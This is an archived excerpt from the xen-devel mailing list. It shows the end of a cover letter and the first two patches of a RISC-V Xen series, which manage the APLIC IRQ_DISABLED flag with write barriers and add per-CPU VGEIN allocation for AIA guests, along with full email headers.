  xen/riscv: manage IRQ_DISABLED flag in APLIC irq enable/disable
    callbacks
  xen/riscv: add basic VGEIN management for AIA guests
  xen/riscv: add missing APLIC register offsets, masks to asm/aplic.h
  xen/riscv: introduce device-agnostic MMIO emulation dispatch
  xen/riscv: implement virtual APLIC MMIO emulation
  xen/riscv: map IMSIC interrupt file for vCPUs
  xen/riscv: introduce vCPU AIA initialization
  xen/riscv: add IMSIC state save/restore
  xen/riscv: add helper to check APLIC MSI mode
  xen/riscv: introduce vintc_state_{save,restore}()
  xen/riscv: add vAPLIC state save/restore hooks
  xen/riscv: extend exception tables with type and data fields
  xen/riscv: add unprivileged guest memory read helper
  xen/riscv: add guest page fault handling stub
  xen/riscv: implement trap redirection to a guest
  xen/riscv: add guest load emulation for trapped MMIO accesses
  xen/riscv: add guest store emulation for trapped MMIO accesses

 xen/arch/riscv/Makefile                   |   1 +
 xen/arch/riscv/aia.c                      | 175 ++++++++++++
 xen/arch/riscv/aplic-priv.h               |   2 +
 xen/arch/riscv/aplic.c                    |  83 +++++-
 xen/arch/riscv/domain.c                   |   4 +
 xen/arch/riscv/extable.c                  |  60 +++-
 xen/arch/riscv/guestcopy.c                | 145 ++++++++++
 xen/arch/riscv/imsic.c                    |  99 +++++++
 xen/arch/riscv/include/asm/aia.h          |  10 +
 xen/arch/riscv/include/asm/aplic.h        |  61 +++++
 xen/arch/riscv/include/asm/domain.h       |   3 +
 xen/arch/riscv/include/asm/extable.h      |  62 +++--
 xen/arch/riscv/include/asm/gpr-num.h      |  33 +++
 xen/arch/riscv/include/asm/guest_access.h |   8 +
 xen/arch/riscv/include/asm/imsic.h        |  17 ++
 xen/arch/riscv/include/asm/intc.h         |   9 +
 xen/arch/riscv/include/asm/mmio.h         |  63 +++++
 xen/arch/riscv/include/asm/processor.h    |   2 +
 xen/arch/riscv/include/asm/traps.h        |  12 +
 xen/arch/riscv/include/asm/vaplic.h       |   6 +
 xen/arch/riscv/intc.c                     |  14 +
 xen/arch/riscv/mmio.c                     | 145 ++++++++++
 xen/arch/riscv/traps.c                    | 279 +++++++++++++++++++
 xen/arch/riscv/vaplic.c                   | 319 ++++++++++++++++++++++
 24 files changed, 1590 insertions(+), 22 deletions(-)
 create mode 100644 xen/arch/riscv/include/asm/gpr-num.h
 create mode 100644 xen/arch/riscv/include/asm/mmio.h
 create mode 100644 xen/arch/riscv/mmio.c

-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367139.1616954 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqRq-0007Vx-RV; Mon, 20 Jul 2026 16:02:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367139.1616954; Mon, 20 Jul 2026 16:02:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqRq-0007Vo-OZ; Mon, 20 Jul 2026 16:02:30 +0000
Received: by outflank-mailman (input) for mailman id 1367139;
 Mon, 20 Jul 2026 16:02:29 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqRp-0007IG-MC
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqRp-00CH1I-30
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:29 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4689-bab6-0a2a0a5309dd-0a2a4509c2b8-34
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:29 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4694-be1a-0a2a45090019-d1558034a9c3-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:29 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-4954a9e8490so15565105e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:29 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.27
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563348; x=1785168148; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=HaWHrFRrUltMV46yQBOumqw4+NZ3y/Oz10o1et5gkWQ=;
        b=JZ/lWUIZpsaB9Lsd+ayucHC99VDoZwbBAxzbg1gwCTARxB3cHwyBGCGYiwVvnju/I5
         l2V1w2mUEap2JX+TEghYnKYrWJXnV1akHfiKW3zLPVsCKJ6+aZ8LzJtLx989CV/UU+to
         Gjd88SSZbz0Vgozs0rBrSktOw5YMql69nwbTA99tjpR2UeBrtAS5ba8bg/zL7hCF0Dm1
         155DLVCuft2KQLiUTq2ESangCdiACcA8Ni+1a4bxXEz1C5/9jv+Q1JgIJbyoejBQAOhd
         vIoE696C/njsuR/xDlL+QJ2hdUh3y/yNa85ByEFmEgIzQ318XPfSTA5FvXryUrlrNxAT
         6yGg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563348; x=1785168148;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=HaWHrFRrUltMV46yQBOumqw4+NZ3y/Oz10o1et5gkWQ=;
        b=lBXcR5CUn3xaCe5fOgNY4ZK8aMG0q+Bdm1mu5R5AJptzACFDx7h1PPRDAfAI6lnNKa
         /TsibBg05nM2vX4Leu+AdH/KsYLtO/bm3KYfOyfwH2htPDyc6tlHpEAbXGweb1Xl1iqE
         Ma+qnHF/RTCVlRkKuz1BM24wnUF0NIYFgvcPYBdoFWcwHGLw9D44gsQqIdXciXPyRaAV
         XGV2RCiZ3ztFJ5ut3CmUTrs5QEPzdVstFzBUOryVH6dr0cmbAA2577SzvkmUkvs+tRMf
         0J8/z81AmZ8v6y5qfwdG7uCYK7JHUnyoYCB3lRPD9jZbENxYfdLNz5aw0d/uYYv3VCm4
         +ELw==
X-Gm-Message-State: AOJu0YwQcoUWgpdqPnQPARyrgxeWtSoTqUuIxhstPoCnoiLWnQ3F9QVo
	dpggki+reGKiXjqTAu4MSo7RA3aTxfE6Np+bbjVHNRRoKpH4fQQ2ckFH1PHTxA==
X-Gm-Gg: AfdE7cnU3nZm+LhFtCclvr9Lb2XeAKY+Xyjv0uvjokeCI7xZY6PcHa5tGHjPI1fhIL0
	PsJA/kx/M22JZmbxULVszrtNjXsgC7C5FCQCVeDrZ1g8Dx7QktYL+WN6aUzXs/UlLXHde2OnUah
	3IwrtI0I+5cTogepEod0/qJLMdBNnbTi09C0WV7WM9TRRQRK3fVrqv0mAlk1aGcSJBmGdMcIrRd
	+SxA6ozJCfi0C6R5nlxrAanLmaeApxRbRzbtPFCkmPeTDtp6+mixEm+W86aRRu09KD98eDkH8ph
	6jNvxqdqHTTWKGlRKuaauO6VSW5XaWBAB0fuQS3l4HfFttqW68nCCFpXNj4DF7t40G35Ekquop7
	zpQHrmRZ1gZyBJaa5xJByvlr4S9DQouIjn0sud4z16307OpQNgpS7NZJL8beyDGoYx9WieUnH5M
	sZe32ejIGMAx3q5aRX9ZeUj8SrPcDKgHala+Bv0U/NPCYsEhUj1xDEBn2zlg==
X-Received: by 2002:a05:600c:3b88:b0:495:495f:bc30 with SMTP id 5b1f17b1804b1-4954a3391femr163394335e9.12.1784563348405;
        Mon, 20 Jul 2026 09:02:28 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 01/17] xen/riscv: manage IRQ_DISABLED flag in APLIC irq enable/disable callbacks
Date: Mon, 20 Jul 2026 18:01:59 +0200
Message-ID: <a6d85647d0d726ffb25708829813510421ed5234.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1784563349-FD469034-EF7AAA68/10/73395122804
X-purgate-type: spam
X-purgate-size: 2446

desc->status is only set once during setup_irq(), but interrupts can be
enabled/disabled at runtime, so update it in the corresponding callbacks.

For the purposes of the FENCE instruction, CSR read accesses are
classified as device input (I) and CSR write accesses as device output
(O), while the barriers used by spin locks (fence rw,rw) only order
normal memory accesses. An explicit wmb() (fence ow,ow) is therefore
added in aplic_irq_{enable,disable}() to order the desc->status update
with respect to the IMSIC CSR write.

Fixes: d4676a1398bc5 ("xen/riscv: implementation of aplic and imsic operations")
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v3:
 - Add the comment above wmb() in aplic_irq_enable() and add wmb() also in
   *_disable().
 - Update the commit message: drop info about wmb() and add information why
   it is safe to drop update of desc->status from setup_irq().
---
Changes in v2:
 - New patch
---
---
 xen/arch/riscv/aplic.c | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/xen/arch/riscv/aplic.c b/xen/arch/riscv/aplic.c
index fe319041cece..3681f0669efb 100644
--- a/xen/arch/riscv/aplic.c
+++ b/xen/arch/riscv/aplic.c
@@ -136,6 +136,15 @@ static void cf_check aplic_irq_enable(struct irq_desc *desc)
 
     spin_lock(&aplic.lock);
 
+    desc->status &= ~IRQ_DISABLED;
+    /*
+     * wmb() (fence ow,ow) orders the ->status memory write (w) before the
+     * CSR write inside imsic_irq_enable() (device output, o on RISC-V).
+     * arch_lock_release_barrier() uses fence rw,rw which does not cover
+     * device output (o), so wmb() is required to close that gap.
+     */
+    wmb();
+
     /* Enable interrupt in IMSIC */
     imsic_irq_enable(desc->irq);
 
@@ -163,6 +172,16 @@ static void cf_check aplic_irq_disable(struct irq_desc *desc)
 
     /* Disable interrupt in IMSIC */
     imsic_irq_disable(desc->irq);
+    /*
+     * wmb() (fence ow,ow) ensures the CSR write (device output, o) inside
+     * imsic_irq_disable() is globally visible before ->status is marked
+     * IRQ_DISABLED. imsic_irq_disable()'s spin_unlock uses fence rw,rw
+     * which does not order device output (o) writes before subsequent
+     * memory writes (w), so an explicit wmb() is needed here.
+     */
+    wmb();
+
+    desc->status |= IRQ_DISABLED;
 
     spin_unlock(&aplic.lock);
 }
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367141.1616962 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqRu-0007p5-5a; Mon, 20 Jul 2026 16:02:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367141.1616962; Mon, 20 Jul 2026 16:02:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqRu-0007ot-19; Mon, 20 Jul 2026 16:02:34 +0000
Received: by outflank-mailman (input) for mailman id 1367141;
 Mon, 20 Jul 2026 16:02:33 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqRs-0007lt-UM
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqRs-00CH1I-B9
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:32 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4689-bab6-0a2a0a5309dd-0a2a4509c2b8-44
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:32 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4696-be1a-0a2a45090019-d1558030ec90-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:30 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-4954dff6536so18969255e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:30 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.28
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:29 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563350; x=1785168150; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=95JUHHq/5jrJxxszZoslZE37QJAheVrmKqmo8lETBtM=;
        b=K6w2vaHaXjei1FACGN2RTODgtdjuQ2bjxoDTtso/IB52z2gaqRBtG1WC/GVsA883st
         50uUmzUeCY6UUjs97Xx8kQYrTSgW8vSLLow5pLvSYvO3cmjXNqPKndIHYy9zoRAyacuj
         ELzipRIhBYP0VBd6uGDam828rtajmon6FQWBDr0q/envCACQ6AajZeg8CKRtVBo8SdaY
         4rTAYA52BxpXxXpe9afZ9RrD7BRhm4iiQjFlgLzp6INIJIH/gbDcDyUM9CSYDKN0v1u3
         VIUe/2qyN6amLdPXQfh9v+wdhxByKWIsJJHymowo65sowXIYguU+5qmUX8FFcTbEOab+
         bGRA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563350; x=1785168150;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=95JUHHq/5jrJxxszZoslZE37QJAheVrmKqmo8lETBtM=;
        b=i5Hc4jsvCVDU5SlrqqTGq7t+pPLW4eWwZkxw6aPXoMvu+q8AQ8wS71TbVeUNsUd2Wl
         W/B7lhJ9ZuW6wT7SEpAczYpw1vZBfv6+Eu4H6mq0d+WREo0xHca8NonbnWldtc5fBInn
         CzClMTciVflY7KESNob4+kXrm9ilgLHlSwPOyo0qP9rQc5iPzLuGdOifc+5+Ao7/siko
         ifQI+zvXD8wwWe9nxYE5Hm1KRRHlyrDOimJbCne9iMIrelfi5690YjVFe07vywZVItlH
         lOm9Z85hScTOqQaJp83vTVaF5RfThx4xY6kIYxztFCdm0Cj9zGqndatzQQiztIwmKV4F
         95LA==
X-Gm-Message-State: AOJu0Yx8RudOX6Bm2ZiMSroSly8bUqk9JBjpi0zOfTRN9dE7G63XIPU6
	tU0acPKiFWtAzmIctV/siqkXcbjEEHDzVGPwoRtfV+OENk19RNdENQOVdshEnA==
X-Gm-Gg: AfdE7clSvLL7DNy9B4iDVlOEYGLkNuzs3BbR+wb2i2D6FNxhq3HvEQkq3Ng+kY5CeAm
	4nFAywVoiwuAZrHrzHd0sycNOFmaDraYGcFHa/hSq0ritqLof/2hpM3F1xlwToscjU/82K/Lmrc
	J8wXGQqnJMDdxO2aetq2T4+2FLfr1AeHo+6DA5TaTqTGWTrLD++J2tlQAi0y2qenqhV0XWpv4Nf
	0pei65J6CvL8ZHgEGTMCsMMfT0sqguiTN8EuQ+NlHyVTNAzUspMbgJThLtpk+pHu9HY5E09S1/n
	m1b0HK4mr9pIwvc4rd5XfK2rOug+Jru/RX+ynm1euwUsnWfg/mV0K1+6T98k/iT2jFyrcGT5nVs
	x1RJOA0GLKPMKF9Al65YRGygm5Mktl4SuNcXn/BVCYUjOFzM0xqETUyTKWbW1GOWB6SXfgiT67Y
	46taUT1B7JmY6tRhEM+MwjOFOGNbzDhlG6jg+JTKVGqXL/mxU=
X-Received: by 2002:a05:600c:45d5:b0:490:9782:3eb8 with SMTP id 5b1f17b1804b1-4954a40843dmr159978425e9.25.1784563350054;
        Mon, 20 Jul 2026 09:02:30 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 02/17] xen/riscv: add basic VGEIN management for AIA guests
Date: Mon, 20 Jul 2026 18:02:00 +0200
Message-ID: <b141b8d976719bb9b76147cacfd5842fb7aac74e.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1784563350-BD4C3034-C916A1DD/10/73395122804
X-purgate-type: spam
X-purgate-size: 8758

It was decided to add support for IMSIC from the start instead of having APLIC
operate in direct delivery mode, as it requires a trap-and-emulation approach,
which is not optimal from a performance standpoint.

AIA provides a hardware-accelerated mechanism for delivering external
interrupts to domains via "guest interrupt files" located in IMSIC.
A single physical hart can implement multiple such files (up to GEILEN),
allowing several virtual harts to receive interrupts directly from hardware.

Introduce per-CPU tracking of guest interrupt file identifiers (VGEIN)
for systems implementing AIA specification. Each CPU maintains
a bitmap describing which guest interrupt files are currently in use.

Add helpers to initialize the bitmap based on the number of available
guest interrupt files (GEILEN), assign a VGEIN to a vCPU, and release it
when no longer needed. When assigning a VGEIN, the corresponding value
is written to the VGEIN field of the guest hstatus register so that
VS-level external interrupts are delivered from the selected interrupt
file.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v3:
 - Rephrase per-CPU comment from "Bitmap for each physical cpus..." to
   "VGEIN control structure for each physical CPU...".
 - Use %u for cpu in printk("cpu%u.geilen=%u\n").
 - Fix missing \n in "AIA: failed to init vgein for CPU%u\n".
 - Shorten dprintk message to "vgein_init() failed: %d\n".
 - Use %u instead of %d for v->processor in gprintk() calls.
 - Drop update of ->hstatus in vgein_{assign,release} and let the caller
   to do that. For example, it could be useful in the case of migration
   vCPU from one pCPU to another and so vcpu->hstatus will be updated as a
   last step of this process.
 - Fill ->owners in vgein_{assign,release} just from the start.
---
Changes in v2:
 - add static for defintion of vgein_bmp;
 - Drop declarartion of vgein_bmp from aia.h.
 - Move declaration of 'struct vgein_bmp' from aia.h to aia.c as all the
   management is inside aia.c.
 - Instead of decrement of vgein->geilen just update the wait how it is
   initialized.
 - Return -EOPNOTSUPP in vgein_init() instead of BUG_ON().
 - Use %u to print unsigned int.
 - make bmp field in vgein_bmp not a pointer.
 - allocate owners dynamically.
 - Drop unnessary blank lines.
 - use find_first_zero_bit() instead of bitmap_weight() to find a free slot
   for vgein number.
 - Drop the section number for the comment.
 - Start to search from bitnum 1 for free vgein_id, as bitnum 0 is reserved to
   tell that no guest extrenal interrupt number is used. Thereby drop vgein_id++
   at the end of vgein_assign().
 - s/bitmap_set/__set_bit.
 - s/bitmap_clear/__clear_bit.
 - as vgein_init() is needed to be invoked once per CPU being brought up, drop
   __init for it.
 - Return vgein_id == 0 if vgein_id is higher then maximun supported by h/w
   VGEIN.
 - Add check in vgein_relase() that vgein is 0 and if it is there is nothing
   is needed to do.
 - Use gdprintk instead of printk() in vgein_{assign,release}.
 - Add the claryfing comment above geilen field.
 - Drop ASSERT in vgein_assign() and return just vgein_id = 0 in the case when
   there is no aviablable h/w VGEINs.
 - Make vgein_init() static.
---
---
 xen/arch/riscv/aia.c             | 145 +++++++++++++++++++++++++++++++
 xen/arch/riscv/include/asm/aia.h |   8 ++
 2 files changed, 153 insertions(+)

diff --git a/xen/arch/riscv/aia.c b/xen/arch/riscv/aia.c
index e31c9c2d24b6..4f7f46f58f0b 100644
--- a/xen/arch/riscv/aia.c
+++ b/xen/arch/riscv/aia.c
@@ -1,11 +1,33 @@
 /* SPDX-License-Identifier: GPL-2.0-only */
 
+#include <xen/bitmap.h>
+#include <xen/cpu.h>
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/sections.h>
+#include <xen/sched.h>
+#include <xen/spinlock.h>
 #include <xen/types.h>
+#include <xen/xvmalloc.h>
 
+#include <asm/aia.h>
 #include <asm/cpufeature.h>
+#include <asm/csr.h>
+#include <asm/current.h>
+
+struct vgein_ctrl {
+    unsigned long bmp;
+    spinlock_t lock;
+    struct vcpu **owners;
+    /* The least-significant bits are implemented first, apart from bit 0 */
+    unsigned int geilen;
+};
+
+/*
+ * VGEIN control structure for each physical CPU to track which VS (guest)
+ * interrupt file IDs are in use.
+ */
+static DEFINE_PER_CPU(struct vgein_ctrl, vgein);
 
 static bool __ro_after_init _aia_usable;
 
@@ -14,10 +36,133 @@ bool aia_usable(void)
     return _aia_usable;
 }
 
+static int vgein_init(unsigned int cpu)
+{
+    struct vgein_ctrl *vgein = &per_cpu(vgein, cpu);
+
+    csr_write(CSR_HGEIE, -1UL);
+    vgein->geilen = flsl(csr_read(CSR_HGEIE) >> 1);
+    csr_write(CSR_HGEIE, 0);
+
+    printk("cpu%u.geilen=%u\n", cpu, vgein->geilen);
+
+    if ( !vgein->geilen )
+        return -EOPNOTSUPP;
+
+    vgein->owners = xvzalloc_array(struct vcpu *, vgein->geilen);
+    if ( !vgein->owners )
+        return -ENOMEM;
+
+    spin_lock_init(&vgein->lock);
+
+    return 0;
+}
+
+static int cf_check cpu_callback(struct notifier_block *nfb, unsigned long action,
+                        void *hcpu)
+{
+    unsigned int cpu = (unsigned long)hcpu;
+    int rc = 0;
+
+    switch ( action )
+    {
+    case CPU_STARTING:
+        rc = vgein_init(cpu);
+        if ( rc )
+            printk("AIA: failed to init vgein for CPU%u\n", cpu);
+        break;
+    }
+
+    return notifier_from_errno(rc);
+}
+
+static struct notifier_block cpu_nfb = {
+    .notifier_call = cpu_callback,
+};
+
 void __init aia_init(void)
 {
+    int rc;
+
     if ( !riscv_isa_extension_available(NULL, RISCV_ISA_EXT_ssaia) )
+    {
+        dprintk(XENLOG_WARNING, "SSAIA isn't present in riscv,isa\n");
         return;
+    }
+
+    if ( (rc = vgein_init(0)) )
+    {
+        dprintk(XENLOG_ERR, "vgein_init() failed: %d\n", rc);
+        return;
+    }
 
     _aia_usable = true;
+
+    register_cpu_notifier(&cpu_nfb);
+}
+
+unsigned int vgein_assign(struct vcpu *v)
+{
+    unsigned int vgein_id;
+    struct vgein_ctrl *vgein = &per_cpu(vgein, v->processor);
+    unsigned long *bmp = &vgein->bmp;
+    unsigned long flags;
+
+    if ( !vgein->geilen )
+        return 0;
+
+    spin_lock_irqsave(&vgein->lock, flags);
+    /*
+     * The vgein_id shouldn't be zero, as it will indicate that no guest
+     * external interrupt source is selected for VS-level external interrupts
+     * according to RISC-V privileged spec:
+     *   Hypervisor Status Register (hstatus) in RISC-V privileged spec:
+     *
+     *   The VGEIN (Virtual Guest External Interrupt Number) field selects
+     *   a guest external interrupt source for VS-level external interrupts.
+     *   VGEIN is a WLRL field that must be able to hold values between zero
+     *   and the maximum guest external interrupt number (known as GEILEN),
+     *   inclusive.
+     *   When VGEIN=0, no guest external interrupt source is selected for
+     *   VS-level external interrupts.
+     *
+     * So start to search from bit number 1.
+     */
+    vgein_id = find_next_zero_bit(bmp, vgein->geilen + 1, 1);
+
+    if ( vgein_id > vgein->geilen )
+        vgein_id = 0;
+    else
+    {
+        __set_bit(vgein_id, bmp);
+        vgein->owners[vgein_id] = v;
+    }
+
+    spin_unlock_irqrestore(&vgein->lock, flags);
+
+#ifdef VGEIN_DEBUG
+    gprintk(XENLOG_DEBUG, "%s: %pv: vgein_id(%u), xen_cpu%u_bmp=%#lx\n",
+           __func__, v, vgein_id, v->processor, *bmp);
+#endif
+
+    return vgein_id;
+}
+
+void vgein_release(struct vcpu *v, unsigned int vgein_id)
+{
+    unsigned long flags;
+    struct vgein_ctrl *vgein = &per_cpu(vgein, v->processor);
+
+    if ( !vgein_id )
+        return;
+
+    spin_lock_irqsave(&vgein->lock, flags);
+    __clear_bit(vgein_id, &vgein->bmp);
+    vgein->owners[vgein_id] = NULL;
+    spin_unlock_irqrestore(&vgein->lock, flags);
+
+#ifdef VGEIN_DEBUG
+    gprintk(XENLOG_DEBUG, "%s: vgein_id(%u), xen_cpu%u_bmp=%#lx\n",
+           __func__, vgein_id, v->processor, vgein->bmp);
+#endif
 }
diff --git a/xen/arch/riscv/include/asm/aia.h b/xen/arch/riscv/include/asm/aia.h
index aaa4bf91fc75..c67be0069a1d 100644
--- a/xen/arch/riscv/include/asm/aia.h
+++ b/xen/arch/riscv/include/asm/aia.h
@@ -3,8 +3,16 @@
 #ifndef RISCV_AIA_H
 #define RISCV_AIA_H
 
+#include <xen/percpu.h>
+#include <xen/spinlock.h>
+
+struct vcpu;
+
 bool aia_usable(void);
 
 void aia_init(void);
 
+unsigned int vgein_assign(struct vcpu *v);
+void vgein_release(struct vcpu *v, unsigned int vgein_id);
+
 #endif /* RISCV_AIA_H */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:34 +0000
